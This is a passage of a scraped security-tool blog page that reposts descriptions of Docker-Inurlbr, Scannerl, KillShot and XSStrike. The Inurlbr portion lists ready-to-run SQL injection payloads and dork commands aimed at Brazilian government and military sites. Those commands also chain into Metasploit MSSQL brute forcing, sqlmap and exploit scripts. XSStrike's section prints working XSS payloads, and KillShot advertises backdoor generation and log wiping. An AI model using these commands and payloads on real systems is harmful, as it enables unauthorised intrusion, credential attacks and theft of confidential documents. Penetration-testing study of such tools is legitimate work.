Replace values ​​in the target URL. Example: –replace {value_old[INURL]value_new} Usage: –replace ‘index.php?id=[INURL]index.php?id=1666+and+(SELECT+user,Password+from+mysql.user+limit+0,1)=1’ –replace ‘main.php?id=[INURL]main.php?id=1+and+substring(@@version,1,1)=1’ –replace ‘index.aspx?id=[INURL]index.aspx?id=1%27´’ –remove Remove values ​​in the target URL. Example: –remove {string} Usage: –remove ‘/admin.php?id=0’ –regexp Using regular expression to validate his research, the value of the Expression will be sought within the target/URL. Example: –regexp {regular_expression} All Major Credit Cards: Usage: –regexp ‘(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})’ IP Addresses: Usage: –regexp ‘((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))’ EMAIL: Usage: –regexp ‘([\w\d\.\-\_]+)@([\w\d\.\_\-]+)’ —regexp-filter Using regular expression to filter his research, the value of the Expression will be sought within the target/URL. Example: —regexp-filter {regular_expression} EMAIL: Usage: —regexp-filter ‘([\w\d\.\-\_]+)@([\w\d\.\_\-]+)’ [!] Small commands manager: –exploit-cad Command register for use within the scanner. Format {TYPE_EXPLOIT}::{EXPLOIT_COMMAND} Example Format: NMAP::nmap -sV _TARGET_ Example Format: EXPLOIT1::php xpl.php -t _TARGET_ -s output.txt Usage: –exploit-cad ‘NMAP::nmap -sV _TARGET_’ Observation: Each registered command is identified by an id of your array. Commands are logged in exploits.conf file. –exploit-all-id Execute commands, exploits based on id of use, (all) is run for each target found by the engine. Example: –exploit-all-id {id,id} Usage: –exploit-all-id 1,2,8,22 –exploit-vul-id Execute commands, exploits based on id of use, (vull) run command only if the target was considered vulnerable. Example: –exploit-vul-id {id,id} Usage: –exploit-vul-id 1,2,8,22 –exploit-list List all entries command in exploits.conf file. [!] Running subprocesses: –sub-file Subprocess performs an injection strings in URLs found by the engine, via GET or POST. Example: –sub-file {youfile} Usage: –sub-file exploits_get.txt –sub-get defines whether the strings coming from –sub-file will be injected via GET. Usage: –sub-get –sub-post defines whether the strings coming from –sub-file will be injected via POST. Usage: –sub-get –sub-cmd-vul Each vulnerable URL found within the sub-process will execute the parameters of this command. Example: –sub-cmd-vul {command} Usage: –sub-cmd-vul ‘nmap sV -p 22,80,21 _TARGET_’ –sub-cmd-vul ‘./exploit.sh _TARGET_ output.txt’ –sub-cmd-vul ‘php miniexploit.php -t _TARGET_ -s output.txt’ –sub-cmd-all Run command to each target found within the sub-process scope. Example: –sub-cmd-all {command} Usage: –sub-cmd-all ‘nmap sV -p 22,80,21 _TARGET_’ –sub-cmd-all ‘./exploit.sh _TARGET_ output.txt’ –sub-cmd-all ‘php miniexploit.php -t _TARGET_ -s output.txt’ –port-scan Defines ports that will be validated as open. Example: –port-scan {ports} Usage: –port-scan ‘22,21,23,3306’ –port-cmd Define command that runs when finding an open door. Example: –port-cmd {command} Usage: –port-cmd ‘./xpl _TARGETIP_:_PORT_’ –port-cmd ‘./xpl _TARGETIP_/file.php?sqli=1’ –port-write Send values for door. Example: –port-write {‘value0′,’value1′,’value3′} Usage: –port-write "’NICK nk_test’,’USER nk_test 8 * :_ola’,’JOIN #inurlbrasil’,’PRIVMSG #inurlbrasil : minha_msg’" [!] Modifying values used within script parameters: md5 Encrypt values in md5. Example: md5({value}) Usage: md5(102030) Usage: –exploit-get ‘user?id=md5(102030)’ base64 Encrypt values in base64. Example: base64({value}) Usage: base64(102030) Usage: –exploit-get ‘user?id=base64(102030)’ hex Encrypt values in hex. Example: hex({value}) Usage: hex(102030) Usage: –exploit-get ‘user?id=hex(102030)’ Generate random values. Example: random({character_counter}) Usage: random(8) Usage: –exploit-get ‘user?id=random(8)’Simple Commandsdocker exec inurlbr ./inurlbr.php –dork ‘inurl:php?id=’ -s save.txt -q 1,6 -t 1 –exploit-get "?´’%270×27;" docker exec inurlbr ./inurlbr.php –dork ‘inurl:aspx?id=’ -s save.txt -q 1,6 -t 1 –exploit-get "?´’%270×27;" docker exec inurlbr ./inurlbr.php –dork ‘site:br inurl:aspx (id|new)’ -s save.txt -q 1,6 -t 1 –exploit-get "?´’%270×27;" docker exec inurlbr ./inurlbr.php –dork ‘index of wp-content/uploads’ -s save.txt -q 1,6,2,4 -t 2 –exploit-get ‘?’ -a ‘Index of /wp-content/uploads’ docker exec inurlbr ./inurlbr.php –dork ‘site:.mil.br intext:(confidencial) ext:pdf’ -s save.txt -q 1,6 -t 2 –exploit-get ‘?’ -a ‘confidencial’ docker exec inurlbr ./inurlbr.php –dork ‘site:.mil.br intext:(secreto) ext:pdf’ -s save.txt -q 1,6 -t 2 –exploit-get ‘?’ -a ‘secreto’ docker exec inurlbr ./inurlbr.php –dork ‘site:br inurl:aspx (id|new)’ -s save.txt -q 1,6 -t 1 –exploit-get "?´’%270×27;" docker exec inurlbr ./inurlbr.php –dork ‘.new.php?new id’ -s save.txt -q 1,6,7,2,3 -t 1 –exploit-get ‘+UNION+ALL+SELECT+1,concat(0x3A3A4558504C4F49542D5355434553533A3A,@@version),3,4,5;’ -a ‘::EXPLOIT-SUCESS::’ docker exec inurlbr ./inurlbr.php –dork ‘new.php?id=’ -s teste.txt –exploit-get ?´0x27 –command-vul ‘nmap sV -p 22,80,21 _TARGET_’ docker exec inurlbr ./inurlbr.php –dork ‘site:pt inurl:aspx (id|q)’ -s bruteforce.txt –exploit-get ?´0x27 –command-vul ‘msfcli auxiliary/scanner/mssql/mssql_login RHOST=_TARGETIP_ MSSQL_USER=inurlbr MSSQL_PASS_FILE=/home/pedr0/Documentos/passwords E’ docker exec inurlbr ./inurlbr.php –dork ‘site:br inurl:id & inurl:php’ -s get.txt –exploit-get "?´’%270×27;" –command-vul ‘python ../sqlmap/sqlmap.py -u "_TARGETFULL_" –dbs’ docker exec inurlbr ./inurlbr.php –dork ‘inurl:index.php?id=’ -q 1,2,10 –exploit-get "’?´0x27’" -s report.txt –command-vul ‘nmap -Pn -p 1-8080 –script http-enum –open _TARGET_’ docker exec inurlbr ./inurlbr.php –dork ‘site:.gov.br email’ -s reg.txt -q 1 –regexp ‘([\w\d\.\-\_]+)@([\w\d\.\_\-]+)’ docker exec inurlbr ./inurlbr.php –dork ‘site:.gov.br email (gmail|yahoo|hotmail) ext:txt’ -s emails.txt -m docker exec inurlbr ./inurlbr.php –dork ‘site:.gov.br email (gmail|yahoo|hotmail) ext:txt’ -s urls.txt -u docker exec inurlbr ./inurlbr.php –dork ‘site:gov.bo’ -s govs.txt –exploit-all-id 1,2,6 docker exec inurlbr ./inurlbr.php –dork ‘site:.uk’ -s uk.txt –user-agent ‘Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)’ docker exec inurlbr ./inurlbr.php –dork-file ‘dorksSqli.txt’ -s govs.txt –exploit-all-id 1,2,6 docker exec inurlbr ./inurlbr.php –dork-file ‘dorksSqli.txt’ -s sqli.txt –exploit-all-id 1,2,6 –irc ‘irc.rizon.net#inurlbrasil’ docker exec inurlbr ./inurlbr.php –dork ‘inurl:"cgi-bin/login.cgi"’ -s cgi.txt –ifurl ‘cgi’ –command-all ‘php xplCGI.php _TARGET_’ docker exec inurlbr ./inurlbr.php –target ‘http://target.com.br’ -o cancat_file_urls_find.txt -s output.txt -t 4 docker exec inurlbr ./inurlbr.php –target ‘http://target.com.br’ -o cancat_file_urls_find.txt -s output.txt -t 4 –exploit-get "?´’%270×27;" docker exec inurlbr ./inurlbr.php –target ‘http://target.com.br’ -o cancat_file_urls_find.txt -s output.txt -t 4 –exploit-get "?pass=1234" -a ‘<title>hello! admin</title>’ docker exec inurlbr ./inurlbr.php –target ‘http://target.com.br’ -o cancat_file_urls_find_valid_cod-200.txt -s output.txt -t 5 docker exec inurlbr ./inurlbr.php –range ‘,’ -s output.txt –command-all ‘php roteador.php _TARGETIP_’ docker exec inurlbr ./inurlbr.php –range-rad ‘1500’ -s output.txt –command-all ‘php roteador.php _TARGETIP_’ docker exec inurlbr ./inurlbr.php –dork-rad ’20’ -s output.txt –exploit-get "?´’%270×27;" -q 1,2,6,4,5,9,7,8 docker exec inurlbr ./inurlbr.php –dork-rad ’20’ -s output.txt –exploit-get "?´’%270×27;" -q 1,2,6,4,5,9,7,8 –pr docker exec inurlbr ./inurlbr.php –dork-file ‘dorksCGI.txt’ -s output.txt -q 1,2,6,4,5,9,7,8 –pr –shellshock docker exec inurlbr ./inurlbr.php –dork-file ‘dorks_Wordpress_revslider.txt’ -s output.txt -q 1,2,6,4,5,9,7,8 –sub-file ‘xpls_Arbitrary_File_Download.txt’ Developers———————————————- Original Version———————————————- [+] AUTOR: googleINURL [+] EMAIL: inurlbr@gmail.com [+] Blog: http://blog.inurl.com.br———————————————- Docker Version———————————————- [+] AUTOR: Gabriel Dutra (c0olr00t) [+] EMAIL: gabrieldmdutra@gmail.com [+] LINKEDIN: linkedin.com/in/gmdutra/———————————————-Download Docker-Inurlbr</p> <p><img class="feed-img" src="https://1.bp.blogspot.com/-SPfzf68ZFlg/W-JbKgsWWoI/AAAAAAAANI8/wIQXPwgKALkfG7l5XfBNtLEc9tzPRY8_QCLcBGAs/s640/INURLBR.png" /></p> <p>Link: <a href="http://feedproxy.google.com/~r/PentestTools/~3/190rVgd4LLk/docker-inurlbr-advanced-search-in.html">http://feedproxy.google.com/~r/PentestTools/~3/190rVgd4LLk/docker-inurlbr-advanced-search-in.html</a></p> </div><!-- .entry-content --> </div> </article><!-- #post-## --> <article id="post-135386" class="post-135386 post type-post status-publish format-standard hentry category-uncategorized tag-arch-linux tag-distributed tag-erlang tag-fingerprint tag-fingerprinting tag-linux tag-network tag-scanner tag-scannerl tag-scanning tag-security tag-ssh-server tag-zmap"> <div class="top-category"><i class="fa fa-tag"></i> <span class="cat-links"><a href="https://hackertor.com/category/uncategorized/" rel="category tag">HackerTor</a></span></div> <div class="post-inner"> <header class="entry-header"> <h1 class="entry-title"><a href="https://hackertor.com/2018/11/06/scannerl-the-modular-distributed-fingerprinting-engine/" rel="bookmark">Scannerl – The Modular Distributed Fingerprinting Engine</a></h1> </header><!-- .entry-header --> <div class="entry-content"> <p>Scannerl is a modular distributed fingerprinting engine implemented by Kudelski Security. Scannerl can fingerprint thousands of targets on a single host, but can just as easily be distributed across multiple hosts. Scannerl is to fingerprinting what zmap is to port scanning.Scannerl works on Debian/Ubuntu/Arch (but will probably work on other distributions as well). It uses a master/slave architecture where the master node will distribute the work (host(s) to fingerprint) to its slaves (local or remote). The entire deployment is transparent to the user.Why use ScannerlWhen using conventional fingerprinting tools for large-scale analysis, security researchers will often hit two limitations: first, these tools are typically built for scanning comparatively few hosts at a time and are inappropriate for large ranges of IP addresses. Second, if large range of IP addresses protected by IPS devices are being fingerprinted, the probability of being blacklisted is higher what could lead to an incomplete set of information. Scannerl is designed to circumvent these limitations, not only by providing the ability to fingerprint multiple hosts simultaneously, but also by distributing the load across an arbitrary number of hosts. Scannerl also makes the distribution of these tasks completely transparent, which makes setup and maintenance of large-scale fingerprinting projects trivial; this allows to focus on the analyses rather than the herculean task of managing and distributing fingerprinting processes by hand. In addition to the speed factor, scannerl has been designed to allow to easily set up specific fingerprinting analyses in a few lines of code. Not only is the creation of a fingerprinting cluster easy to set up, but it can be tweaked by adding fine-tuned scans to your fingerprinting campaigns.It is the fastest tool to perform large scale fingerprinting campaigns.For more:Fingerprint all the things with scannerl at BlackAlpsFingerprinting MySQL with scannerlFingerprint ICS/Scada with scannerlDistributed fingerprinting with scannerl6 months of ICS scanningInstallationSee the different installation options under wiki installation pageTo install from source, first install Erlang (at least v.18) by choosing the right packaging for your platform: Erlang downloadsInstall the required packages:# on debian$ sudo apt install erlang erlang-src rebar# on arch$ sudo pacman -S erlang-nox rebarThen build scannerl:$ git clone https://github.com/kudelskisecurity/scannerl.git$ cd scannerl$ ./build.shGet the usage by running$ ./scannerl -hScannerl is available on aur for arch linux usersscannerlscannerl-gitDEBs (Ubuntu, Debian) are available in the releases.RPMs (Opensuse, Centos, Redhat) are available under https://build.opensuse.org/package/show/home:chapeaurouge/scannerl.Distributed setupTwo types of nodes are needed to perform a distributed scan:Master node: this is where scannerl’s binary is runSlave node(s): this is where scannerl will connect to distribute all its workThe master node needs to have scannerl installed and compiled while the slave node(s) only needs Erlang to be installed. The entire setup is transparent and done automatically by the master node.Requirements for a distributed scan:All hosts have the same version of Erlang installedAll hosts are able to connect to each other using SSH public keyAll hosts’ names resolve (use /etc/hosts if no proper DNS is setup)All hosts have the same Erlang security cookieAll hosts must allow connection to Erlang EPMD port (TCP/4369)All hosts have the following range of ports opened: TCP/11100 to TCP/11100 + number-of-slavesUsage$ ./scannerl -h ____ ____ _ _ _ _ _ _____ ____ _ / ___| / ___| / \ | \ | | \ | | ____| _ \| | \___ \| | / _ \ | \| | \| | _| | |_) | | ___) | |___ / ___ \| |\ | |\ | |___| _ <| |___ |____/ \____/_/ \_\_| \_|_| \_|_____|_| \_\_____|USAGE scannerl MODULE TARGETS [NODES] [OPTIONS] MODULE: -m <mod> –module <mod> mod: the fingerprinting module to use. arguments are separated with a colon. TARGETS: -f <target> –target <target> target: a list of target separated by a comma. -F <path> –target-file <path> path: the path of the file containing one target per line. -d <domain> –domain <domain> domain: a list of domains separated by a comma. -D <path> –domain-file <path> path: the path of the file containing one domain per line. NODES: -s <node> –slave <node> node: a list of node (hostnames not IPs) separated by a comma. -S <path> –slave-file <path> path: the path of the file containing one node per line. a node can also be supplied with a multiplier (<node>*<nb>). OPTIONS: -o <mod> –output <mod> comma separated list of output module(s) to use. -p <port> –port <port> the port to fingerprint. -t <sec> –timeout <sec> the fingerprinting process timeout. -T <sec> –stimeout <sec> slave connection timeout (default: 10). -j <nb> –max-pkt <nb> max pkt to receive (int or “infinity"). -r <nb> –retry <nb> retry counter (default: 0). -c <cidr> –prefix <cidr> sub-divide range with prefix > cidr (default: 24). -M <port> –message <port> port to listen for message (default: 57005). -P <nb> –process <nb> max simultaneous process per node (default: 28232). -Q <nb> –queue <nb> max nb unprocessed results in queue (default: infinity). -C <path> –config <path> read arguments from file, one per line. -O <mode> –outmode <mode> 0: on Master, 1: on slave, >1: on broker (default: 0). -v <val> –verbose <val> be verbose (0 <= int <= 255). -K <opt> –socket <opt> comma separated socket option (key[:value]). -l –list-modules list available fp/out modules. -V –list-debug list available debug options. -A –print-args Output the args record. -X –priv-ports use only source port between 1 and 1024. -N –nosafe keep going even if some slaves fail to start. -w –www DNS will try for www.<domain>. -b –progress show progress. -x –dryrun dry run.See the wiki for more.Standalone usageScannerl can be used on the local host without any other host. However, it will still create a slave node on the same host it is run from. Therefore, the requirements described in Distributed setup must also be met.A quick way to do this is to make sure your host is able to resolve itself withgrep -q "\s*`hostname`" /etc/hosts || echo " `hostname`" | sudo tee -a /etc/hostsand create an SSH key (if not yet present) and add it to the authorized_keys (you need an SSH server running):cat $HOME/.ssh/id_rsa.pub >> $HOME/.ssh/authorized_keysThe following example runs an HTTP banner grabing on google.com from localhost./scannerl -m httpbg -d google.comDistributed usageIn order to perform a distributed scan, one need to pre-setup the hosts that will be used by scannerl to distribute the work. See Distributed setup for more information.Scannerl expects a list of slaves to use (provided by the -s or -S switches)../scannerl -m httpbg -d google.com -s host1,host2,host3List available modulesScannerl will list the available modules (output modules as well as fingerprinting modules) with the -l switch:$ ./scannerl -lFingerprinting modules available================================bacnet UDP/47808: Bacnet identificationchargen UDP/19: Chargen amplification factor identificationfox TCP/1911: FOX identificationhttpbg TCP/80: HTTP Server header identification – Arg1: [true|false] follow redirection [Default:false]httpsbg SSL/443: HTTPS Server header identificationhttps_certif SSL/443: HTTPS certificate graberimap_certif TCP/143: IMAP STARTTLS certificate grabermodbus TCP/502: Modbus identificationmqtt TCP/1883: MQTT identificationmqtts TCP/8883: MQTT over SSL identificationmysql_greeting TCP/3306: Mysql version identificationpop3_certif TCP/110: POP3 STARTTLS certificate grabersmtp_certif TCP/25: SMTP STARTTLS certificate graberssh_host_key TCP/22: SSH host key graberOutput modules available========================csv output to csv – Arg1: [true|false] save everything [Default:true]csvfile output to csv file – Arg1: [true|false] save everything [Default:false] – Arg2: File pathfile output to file – Arg1: File pathfile_ip output to stdout (only ip) – Arg1: File pathfile_mini output to file (only ip and result) – Arg1: File pathfile_resultonly output to file (only result) – Arg1: File pathstdout output to stdoutstdout_ip output to stdout (only IP)stdout_mini output to stdout (only ip and result)Modules argumentsArguments can be provided to modules with a colon. For example for the file output module:./scannerl -m httpbg -d google.com -o file:/tmp/resultResult formatThe result returned by scannerl to the output modules has the following form:{module, target, port, result}Wheremodule: the module used (Erlang atom)target: IP or hostname (string or IPv4 address)port: the port (integer)result: see belowThe result part is of the form:{{status, type},Value}Where {status, type} is one of the following tuples:{ok, result}: fingerprinting the target succeeded{error, up}: fingerprinting didn’t succeed but the target responded{error, unknown}: fingerprinting failedValue is the returned value – it is either an atom or a list of elementExtending ScannerlScannerl has been designed and implemented with modularity in mind. It is easy to add new modules to it:Fingerprinting module: to query a specific protocol or service. As an example, the fp_httpbg.erl module allows to retrieve the server entry in the HTTP response.Output module: to output to a specific database/filesystem or output the result in a specific format. For example, the out_file.erl and out_stdout.erl modules allow respectively to output to a file or to stdout (default behavior if not specified).To create new modules, simply follow the behavior (fp_module.erl for fingerprinting modules and out_behavior.erl for output module) and implement your modules.New modules can either be added at compile time or dynamically as an external file.See the wiki page for more.Download Scannerl</p> <p><img class="feed-img" src="https://2.bp.blogspot.com/-9wsFqqVBUek/W8_xP8OWsuI/AAAAAAAANA4/4YsD0fbeFOgmu5bev_6QDk2XPLIRo4VqQCLcBGAs/s640/fingerprint.jpg" /></p> <p>Link: <a href="http://feedproxy.google.com/~r/PentestTools/~3/rR7h1XIp-fk/scannerl-modular-distributed.html">http://feedproxy.google.com/~r/PentestTools/~3/rR7h1XIp-fk/scannerl-modular-distributed.html</a></p> </div><!-- .entry-content --> </div> </article><!-- #post-## --> <article id="post-134052" class="post-134052 post type-post status-publish format-standard hentry category-uncategorized tag-backdoor tag-fuzzer tag-gathering tag-information tag-information-gathering tag-killshot tag-linux tag-mac tag-nmap tag-penetration-testing tag-ruby tag-scan tag-scanner tag-spider tag-testing tag-vulnerability tag-webapp tag-windows tag-xss"> <div class="top-category"><i class="fa fa-tag"></i> <span class="cat-links"><a href="https://hackertor.com/category/uncategorized/" rel="category tag">HackerTor</a></span></div> <div class="post-inner"> <header class="entry-header"> <h1 class="entry-title"><a href="https://hackertor.com/2018/10/30/killshot-information-gathering-tool/" rel="bookmark">KillShot – Information Gathering Tool</a></h1> </header><!-- .entry-header --> <div class="entry-content"> <p>A Penetration Testing Framework, Information gathering tool & Website Vulnerability ScannerWhy KillShot ?You Can use this tool to Spider your website and get important information and gather information automaticaly using whatweb-host-traceroute-dig-fierce-wafw00f or to Identify the cms and to find the vulnerability in your website using Cms Exploit Scanner && WebApp Vul Scanner Also You can use killshot to Scan automaticly multiple type of scan with nmap and unicorn . And With this tool You can Generate PHP Simple Backdoors upload it manual and connect to the target using killshot.This Tool Bearing A simple Ruby Fuzzer Tested on VULSERV.exe And Linux Log clear script To change the content of login paths Spider can help you to find parametre of the site and scan xss and sql.Menu{0} Spider {1} Web technologie {2} WebApp Vul Scanner{3} Port Scanner{4} CMS Scanner{5} Fuzzers {6} Cms Exploit Scanner{7} Backdoor Generation{8} Linux Log ClearWebApp Vul Scanner{1} Xss scanner{2} Sql Scanner{3} Tomcat RCEPort Scanner [0] Nmap Scan [1] Unicorn ScanNmap Scan [2] Nmap Os Scan [3] Nmap TCP Scan [4] Nmap UDB Scan [5] Nmap All scan [6] Nmap Http Option Scan [7] Nmap Live target In NetworkUnicorn Scan[8] Services OS [9] TCP SYN Scan on a whole network [01] UDP scan on the whole networkBackdoor Generation {1} Generate Shell {2} Connect ShellUSAGE1 —– Help Command [site] MAKE YOUR TARGET[help] show this MESSAGE[exit] show this MESSAGE2 —— Site command Put your target www.example.comwithout the httpLinux Setupgit clone https://github.com/bahaabdelwahed/killshotcd killshotruby setup.rb (if setup show any error just try to install the gems/tool manual )ruby killshot.rbVideoDownload Killshot</p> <p><img class="feed-img" src="https://1.bp.blogspot.com/-Hm2xgUz1NNM/W9hpaHACUaI/AAAAAAAANDs/s8ELCZKaEbcmr5JT8vOYXfem-NYwHgj9wCLcBGAs/s640/killshot_1.png" /></p> <p>Link: <a href="http://feedproxy.google.com/~r/PentestTools/~3/IlvKISrJPxU/killshot-information-gathering-tool.html">http://feedproxy.google.com/~r/PentestTools/~3/IlvKISrJPxU/killshot-information-gathering-tool.html</a></p> </div><!-- .entry-content --> </div> </article><!-- #post-## --> <article id="post-133472" class="post-133472 post type-post status-publish format-standard hentry category-uncategorized tag-fuzzing tag-javascript tag-parameter tag-payload tag-scanner tag-vulnerable tag-xss tag-xss-bruteforce tag-xss-detection tag-xss-exploit tag-xss-payloads tag-xss-python tag-xss-scanner tag-xsstrike"> <div class="top-category"><i class="fa fa-tag"></i> <span class="cat-links"><a href="https://hackertor.com/category/uncategorized/" rel="category tag">HackerTor</a></span></div> <div class="post-inner"> <header class="entry-header"> <h1 class="entry-title"><a href="https://hackertor.com/2018/10/28/xsstrike-v3-0-most-advanced-xss-detection-suite/" rel="bookmark">XSStrike v3.0 – Most Advanced XSS Detection Suite</a></h1> </header><!-- .entry-header --> <div class="entry-content"> <p>Why XSStrike?Every XSS scanner out there has a list of payloads, they inject the payloads and if the payload is reflected into the webpage, it is declared vulnerable but that’s just stupid. XSStrike on the other hand analyses the response with multiple parsers and then crafts payloads that are guaranteed to work. Here are some examples of the payloads generated by XSStrike:}]};(confirm)()//\<A%0aONMouseOvER%0d=%0d[8].find(confirm)>z</tiTlE/><a%0donpOintErentER%0d=%0d(prompt)“>z</SCRiPT/><DETAILs/+/onpoINTERenTEr%0a=%0aa=prompt,a()//Apart from that, XSStrike has crawling, fuzzing, WAF detection capabilities as well. It also scans for DOM XSS vulnerabilities.Main FeaturesReflected and DOM XSS ScanningMultithreaded crawlingContext analysisConfigurable CoreHighly Researched WorkflowWAF detection & evasionHandmade HTML & JavaScript parserPowerful fuzzing engineIntelligent payload generatorComplete HTTP SupportPowered by Photon, Zetanize and ArjunGalleryDOM XSSReflected XSSCrawlingHidden Parameter DiscoveryInteractive HTTP Headers PromptDownload XSStrike</p> <p><img class="feed-img" src="https://1.bp.blogspot.com/-ROMpMoRLp14/W9Wy_EGohaI/AAAAAAAANBY/CT7JVXQ0VhcXmuepznh6rsXo6sc5dwOdQCLcBGAs/s640/XSStrike_8.png" /></p> <p>Link: <a href="http://feedproxy.google.com/~r/PentestTools/~3/XfElF421MMI/xsstrike-v30-most-advanced-xss.html">http://feedproxy.google.com/~r/PentestTools/~3/XfElF421MMI/xsstrike-v30-most-advanced-xss.html</a></p> </div><!-- .entry-content --> </div> </article><!-- #post-## --> <div class="navigation posts-navigation"><ul> <li class="active"><a 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